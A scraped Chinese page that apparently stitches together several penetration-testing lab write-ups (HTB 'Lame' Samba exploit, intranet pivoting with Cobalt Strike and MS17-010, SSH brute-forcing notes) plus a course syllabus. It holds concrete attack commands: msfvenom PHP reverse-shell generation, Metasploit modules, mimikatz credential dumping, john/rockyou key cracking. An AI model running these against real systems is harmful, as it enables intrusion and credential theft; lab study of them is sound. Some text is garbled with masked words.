【HTB】lame(samba命令执行漏洞)
难易程度:容易
昨天心血来潮在htb(hack the box)充了个会员,(htb注册需要自己hack一个邀请码,这个比较简单,网上也很多教程,这里就不说了),纸上得来终觉浅,感觉还是得多实践。
这是我在htb做的之一台 靶机,看评价比较简单(你,你,长得最矮的那个,出来!),先用nmap扫一下
结果分别21,22,139,445几个端口。vsftpd2.3.4有一个比较著名的ftp后门,几乎每个渗透测试的教程都会讲一遍这个后门,于是在msf里找到这个攻击负载,很快啊,一下子就出来了!
加载负荷,设置目标IP:
然而失败了!
这个让我纠结了蛮久,以为是我本地环境的问题导致攻击失败。因为我是在kali虚拟机上做的攻击,我一开始还以为是因为没有外网ip,所以没有办法反弹shell,于是又去前两年双十一趁便宜买的那台阿里云服务器上试了下,还是一样的结果。后来google了一下,发现payload设置的ip应该是htb分配的vpn里的那个:
这就坑了,我还专门去问了玩kali的一些朋友,有些让我搞一台外网的vps做攻击机,有点让我做一个内网转发。但其实这些都复杂了,玩htb本机payload的ip就填这个10.10.14.30就行了。当然这个ip每个人分配的都不一样,你得看一下你本机的。这个也怪我之前没有先看一下htb的搞机教程。。。
ftp这个后门搞不了,那就试试ssh有啥,搜了一下好像也没发现有啥合适的。那就next!
剩下只有samba,谷歌了一下这个版本的漏洞:
选择之一个搜索结果:
在msf里搜索这个漏洞,发现有现成的:
选择攻击载荷,发动攻击:
成功getshell,输入whoami,发现还是root权限。拿flag走人:
虚拟机玩渗透 目标虚拟机 需要怎么设置 ***
VMWare虚拟机搭建渗透测试的 *** 环境
1. 问题的提出
通过虚拟机运行Kali Linux或者OWASP WTE,需要靶机来进行渗透测试的学习和研究。比较简单的方式是,靶机也作为虚拟机运行;在渗透机与虚拟机之间建立专门的 *** 连接。
使用VMWare提供的LAN区段(LAN Segament)是个简单、快捷的解决方案。
2. 步骤说明
设置LAN区段 - 在VMWare中
靶机和渗透机的虚拟机设置 - 在VMWare中
靶机和渗透机的系统 *** 设置 - 虚拟机内部
2.1 LAN区段(LAN Segament)设置
在VMWare Workstation中,打开目标虚拟机的“虚拟机设置”标签,点选“LAN区段”,如下图:
![点击这里的"LAN区段"按钮]()
点击之后,
+ 如果没有设置过LAN区段,则新建一个LAN区段
+ 如果已经设置过,则选择目标所在的LAN区段
2.2 渗透机/靶机虚拟机设置
在完成了上述LAN区段设置后,虚拟机的 *** 连接模式设置为“LAN区段”,并选择上述设置的具体区段。
虚拟机和靶机的**设置 *** 相同**。
2.3 渗透机/靶机的系统设置
进入虚拟机系统内部,需要手动指定IP地址,确保渗透机和靶机在同一网段内。
虚拟机和靶机的**设置 *** 相同**。
Windows的设置比较简单。
+ 对于没有图形界面的Linux,手动设置 *** 如下:
1. 关闭网卡,目的在于**清除之前的 *** 设置**
precode$ ifconfig eth0 down/code/pre
2. 设置新的IP地址等信息,并启动网卡
precode$ ifconfig eth0 192.168.xx.123 netmask 255.255.255.0 up/code/pre
注意,这里最后的up是启动网卡的意思
3. 设置网关gateway,需要使用route命令
precode$ route add default gw 192.168.xx.1
+ 对于有图形界面的Linux,有时候会出现Network Manager显示"device not managed"的情况,特别是在Debian或者Kali底下。
1. 问题是因为同时满足以下条件:
(1) /etc/network/interface文件中包括目标设备(网卡);
(2) /etc/NetworkManager/NetworkManager.conf中没有设定自动管理。
2. 问题解决 *** :
(1) 在/etc/NetworkManager/NetworkManager.conf中,设置managed=true
(2) 重启network manager:
precode$service network-manager restart/code/pre
内网渗透--对不出网目标的打法
配置 ***
在VM虚拟机中按照下边的 *** 拓扑进行配置 *** 。 *** 拓扑图如下:
win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。
外网打点
在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问 可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种 *** :
通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的 *** 拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。
通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。
获得webshell的信息收集
通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
我是谁?
蚁剑已经给出基础信息
我在哪?
使用ipconfig /all 看一下 *** 信息
目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。
有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软,还有域环境那么让它直接cs上线。
内网渗透
cs上线
内网信息收集
信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集 *** 。
使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。
因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。
内网横向(通过登录凭证)
这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。
不出网机器上线一般有以下几种方式:
使用 *** b beacon
配置listener通过HTTP *** 上线
使用pystinger搭建socks4 ***
这几种方式之前有师傅也在先知写过 《不出网主机上线 *** 》 。此处我采用的 *** B beacon这个 *** 。
*** B Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在 *** B协议中,所以 *** B beacon相对隐蔽。 *** B beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon,抓取密码后进行 *** b喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
使用条件
具有 *** B Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用 *** :
1.建立 *** b的listener
2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
3.连接成功,可以看到 *** b beacon上线的主机右侧有∞∞标识
使用这种 *** 上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。
内网横向(通过ms-17010)
在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法:
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网 *** 不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。
msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的 *** 就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可
小贴士:
漏洞检测 *** :
use auxiliary/scanner/ *** b/ *** b_ms17_010
之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。
漏洞利用常使用的是:
auxiliary/admin/ *** b/ms17_010_command
exploit/windows/ *** b/ms17_010_eternalblue
exploit/windows/ *** b/ms17_010_psexec
这里的之一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候,不妨使用auxiliary/admin/ *** b/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/ *** b/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun
如果命令执行成功的话就可以优先考虑
auxiliary/admin/ *** b/ms17_010_commandexploit/windows/ *** b/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/ *** b/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。
总结
这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个 *** b beacon然后使用psexec对内网两台不出网的机器进行横向。
入侵开放22端口的靶机
本人笔记,仅供参考
相关靶机:
链接:
提取码:qd32
渗透分析:
对于开启ssh服务的22端口的靶场优先考虑
1.暴力破解
2.私钥泄露
对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)
1.通过浏览器访问对应靶场http服务如地址:端口号
2.使用探测工具对http的目录进行探测,如dirb 地址:端口号
挖掘敏感信息:
使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;
尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);
对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;
-- nikto -host靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
登录服务器之后,我们需要做以下操作。
1、查看当前用户whoami .
2、id 查看当前用户的权限
3、查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一
般情况下,flag文件只属于root用户和对应的用户组:
cat /etc/passwd查看所有用户的列装
cat /etc/group查看用户组
find / -user用户名查看属于某些用户的文件
/tmp查看缓冲文件目录
深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务
cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个
用户名。破解工具如hydra、medusa等;
利用cupp创建字典
git clone
chmod +x cupp.py
./cupp.py -i以交互的方式创建字典
输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成
之后推荐用metasploit破解ssh
在终端中输入
msfconsole
msf use auxiliary/scaner/ssh/ssh_ login(使用该模块)
set rhosts 192.168.56.103(确定ip地址)
set username 用户名(破解的用户名)
set pass_ file 用户名.txt(刚刚创建的字典)
set threads 5(输入线程)
Run(进攻)
此时破解出密码例如123
直接连接,如果出现问题可以重启msfconsole,启用该模块后
set rhosts 192.168.56.103 (连接远程主机)
set username hadi(用户名)
Set password 123(密码)
Run
界面简陋就使用python优化界面
Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)
此时可以把自己权限提升到root:
su - root
回到根目录ls打开flag文件
Ssh秘钥泄露
解密Ssh秘钥信息(以秘钥名id_isa举例)
Chmod 600 id_isa(赋予is_isa可读可写权限)
ssh2john id_isa isacrack (就是用ssh2john把秘钥里的东西转换成john可识别的)
Zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)
*** webshell
msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw /root/Desktop/shell.php
启动监听
msf use exploit/multi/handler
msf exploit(handler) set payload php/meterpreter/reverse_tcp
Weoshell
msf exploit(handler) set Ihost攻击机IP地址
msf exploit(handler) set lport 4444
msf exploit(handler) run
上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。 执行
webshel(访问具有webshell的php页面)
获得反弹的shell
--
wordpress.上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
新手小白想学习渗透和 *** 安全,从哪里入手?
基础到入门的学习路线
一、 *** 安全
*** 基础
*** 概述
(行业背景+就业方向+课程体系结构)
Vmware
IP地址的概述与应用
DOS命令与批处理
Windows服务安全
用户管理
破解系统用户密码
NTFS权限
文件服务器
DNS服务
DHCP服务
IIS服务
活动目录
域控管理
组策略(一)
组策略(二)
安全策略
PKI与证书服务
windows安全基线
Windows server 2003安全配置基线
阶段综合项目一
以太网交换与路由技术
回顾windows服务
OSI协议簇
交换机的基本原理与配置
IP包头分析与静态路由
分析ARP攻击与欺骗
虚拟局域网VLAN
VTP
单臂路由与DHCP
子网划分VL ***
高级 *** 技术
回顾
三层交换
ACL-1
ACL-2
*** 地址转换
动态路由协议RIP
ipsec VPN
VPN远程访问
*** 安全基线
Cisco基础 *** 设备安全配置基线
安全设备防护
防火墙原理及部署方式
防火墙高级配置
IDS
WAF
阶段综合项目二
二、服务安全
Linux安全运维
Linux操作系统介绍与安装与目录结构分析
Linux系统的基本操作与软件安装
Linux系统下用户以及权限管理
*** 配置与日志服务器建立应急思路
建立php主页解析以及主页的访问控制
Nginx服务都建立以及tomcat负载均衡
iptables包过滤与 *** 地址转换
实用型脚本案例
阶段综合项目三
三、代码安全
前端代码安全
HTML语言
CSS盒子模型
*** 概述与变量
*** 数据类型
*** 函数
程序的流程控制
条件判断与等值判断结构
循环结构
*** 数组
数据库安全
sqlserver
access
oracle
mysql
后台代码安全
PHP基础
PHP语法
PHP流程控制与数组
PHP代码审计中常用函数
PHP操作mysql数据库
PHP代码审计(一)
PHP代码审计(二)
Python安全应用
初识python上篇
初识python下篇
基础进阶与对象和数字
字符串列表和元祖
字典条件循环和标准输入输出
错误异常函数基础
函数的高级应用和模块
面向对象编程与组合及派生
正则表达式和爬虫
socket套接字
四、渗透测试
渗透测试导论
渗透测试 *** 论
法律法规与道德
Web 工作机制
HTTP 协议
Cookie 与session
同源策略
情报收集
DNS
DNS 解析
IP 查询
主机测探与端口扫描
*** 漏洞扫描
Web 漏洞扫描
其他工具
口令破解
口令安全威胁
破解方式
windows 口令破解
Linux 口令破解
*** 服务口令破解
在线密码查询网站
常见的漏洞攻防
SQL 注入基础
四大基本手法
其他注入手法
SQLmap 的使用
XSS 漏洞概述
XSS 的分类
XSS的构造
XSS 的变形
Shellcode 的调用
XSS 通关挑战
实战:Session 劫持
PHP 代码执行
OS 命令执行
文件上传漏洞原理概述
WebShell 概述
文件上传漏洞的危害
常见的漏洞攻防
PUT *** 上传文件
.htaccess 攻击
图片木马的 ***
upload-labs 上传挑战
Web容器解析漏洞
开源编辑器上传漏洞
开源CMS 上传漏洞
PHP 中的文件包含语句
文件包含示例
漏洞原理及特点
Null 字符问题
文件包含漏洞的利用
业务安全概述
业务安全测试流程
业务数据安全
密码找回安全
CSRF
SSRF
提权与后渗透
服务器提权技术
隧道技术
缓冲区溢出原理
Metasploit Framework
前言
urllib2
SQL 注入POC 到EXP
定制EXP
案例:Oracle Weblogic CVE2017-10271 RCE
案例:JBoss AS 6.X 反序列化
五、项目实战
漏洞复现
内网靶机实战
内网攻防对抗
安全服务规范
安全众测项目实战
外网渗透测试实战
六、安全素养
*** 安全行业导论
*** 安全岗位职责分析
*** 安全法认知
*** 安全认证
职业人素质
0条大神的评论